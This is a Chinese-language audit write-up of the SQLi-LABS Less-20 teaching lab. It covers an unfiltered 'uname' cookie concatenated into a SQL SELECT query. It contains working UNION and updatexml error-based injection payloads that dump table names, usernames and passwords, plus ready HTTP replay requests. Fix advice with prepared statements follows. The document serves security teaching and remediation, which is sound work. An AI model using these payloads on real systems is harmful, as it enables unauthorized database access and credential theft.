Less-20 代码审计报告:Cookie(uname)注入
本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与
Less-20/index.php实际文件一致。
1. 关卡概述
| 项目 | 内容 |
|---|---|
| 关卡名称 | Less-20: Cookie Injection - Error Based - string |
| 源码路径 | Less-20/index.php |
| 漏洞类型 | SQL 注入 – Cookie 注入 – SELECT 报错/联合注入 |
| 注入点参数 | Cookie: uname=(需先登录设置 Cookie) |
| 报错/盲注 | 报错回显(die('Issue with your mysql: ' . mysql_error()))+ 数据回显 |
| 所需环境 | PHP 5.x + mysql 扩展 + MySQL 5.x |
2. 漏洞代码定位
文件: Less-20/index.php
// 第 119-127 行:已登录(存在 uname Cookie)分支,直接取 Cookie 值
}
else
{
if(!isset($_POST['submit']))
{
$cookee = $_COOKIE['uname']; ← 第 127 行:未过滤
// 第 143 行:页面会回显 Cookie 值(可作为布尔/字符判断辅助)
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
// 第 147-152 行:单引号拼接进 SELECT
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1"; ← 第 147 行
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error()); ← 第 151 行:报错回显
}
$row = mysql_fetch_array($result);
// 第 154-164 行:查询成功回显 username/password/id
if($row)
{
...
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
...
echo 'Your ID:' .$row['id'];
关键漏洞点:
- 第 127 行:
$cookee = $_COOKIE['uname'];Cookie 值未过滤。 - 第 147 行:
SELECT * FROM users WHERE username='$cookee' LIMIT 0,1——$cookee单引号拼接进 SELECT,构成注入点。 - 第 151 行:
die('Issue with your mysql: ' . mysql_error());报错回显(数据提取通道)。 - 第 154-164 行:查询成功回显
username/password/id(联合查询可用)。 - 执行前提:请求必须携带
unameCookie(第 14 行if(!isset($_COOKIE['uname']))判断),否则显示登录表单。先以合法账号登录(如 Dumb/Dumb)可正常获得 Cookie。
3. 漏洞分析
- 输入来源:
$_COOKIE['uname'],来自 Cookie,未过滤。 - SQL 拼接位置:
SELECT * FROM users WHERE username='$cookee' LIMIT 0,1。 - 闭合方式:单引号
'。 - 是否回显:
- 第 151 行报错回显(
mysql_error()); - 第 154-164 行查询成功回显
username/password/id→ 联合查询可直接提取数据。
- 第 151 行报错回显(
- 防护情况:POST 登录参数(uname/passwd)在登录时经
check_input()过滤,但读取 Cookie 后完全未过滤。 - 特殊点:Cookie 中
'、空格等字符在 HTTP 请求中需 URL 编码;本关注入只需把unameCookie 值替换为 payload 即可,即使没有服务端会话校验。
4. 利用方式
步骤一:确认注入点
Cookie: uname=admin' → 第 151 行回显 mysql_error(),确认单引号闭合
Cookie: uname=admin → 正常回显 admin 用户数据
步骤二:联合查询(利用回显,核心 Payload)
-- 将 uname Cookie 值改为:
admin' UNION SELECT 1,2,database()-- -
预期结果:页面回显 Your Login name: 1、Your Password: 2、Your ID: security(database() 结果在 id 回显位)。
步骤三:报错注入(备选)
-- 将 uname Cookie 值改为:
admin' AND updatexml(1,concat(0x7e,database()),1)-- -
预期结果:页面回显 Issue with your mysql: XPATH syntax error: '~security'。
步骤四:数据提取
-- 爆表名
admin' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'-- -
-- 爆用户名密码
admin' UNION SELECT 1,group_concat(username),group_concat(password) FROM security.users-- -
预期结果:回显全部表名/用户名/密码。
5. Yakit 重放数据包
说明:请求需携带
unameCookie(否则显示登录表单)。先以 Dumb/Dumb 登录拿到 Cookie 后,再将uname值替换为 payload。
报错注入报文(核心):
GET /sqli-labs/Less-20/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Cookie: uname=admin%27%20AND%20updatexml(1,concat(0x7e,database()),1)--%20-
Connection: close
联合查询报文:
GET /sqli-labs/Less-20/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Cookie: uname=admin%27%20UNION%20SELECT%201,2,database()--%20-
Connection: close
说明:%27='、%20=空格、--%20-=-- -。Cookie 值整体 URL 编码。
先登录获取 Cookie 的报文:
POST /sqli-labs/Less-20/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Connection: close
uname=Dumb&passwd=Dumb&submit=Submit
响应会 Set-Cookie: uname=Dumb,后续请求携带该 Cookie 并替换 uname 值为 payload。
6. 修复建议
修复一(首选):PDO 预处理语句
<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :uname LIMIT 0,1");
$stmt->bindValue(':uname', $cookee, PDO::PARAM_STR);
$stmt->execute();
$row = $stmt->fetch();
修复二:mysqli 预处理语句
<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ? LIMIT 0,1");
$stmt->bind_param('s', $cookee);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();
修复三:输入校验 + 最小权限
- 对 Cookie 输入同样过滤/校验,不要因为"是 Cookie"就跳过防护;可对
$cookee做白名单校验(仅允许已有用户名)或统一参数化。 - 关闭
display_errors,删除/改造第 151 行die('Issue with your mysql: ' . mysql_error()),错误写日志。 - Cookie 建议设置
HttpOnly、Secure属性,降低被脚本读取/劫持风险。 - 数据库账号最小权限;升级 PHP 7+ / 8+,移除
mysql_*扩展。
附:验证与复现说明
- 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
- 复现前需:导入
sql-lab.sql、配置sql-connections/db-creds.inc、使用支持mysql_*的 PHP 5.x 环境。
正文完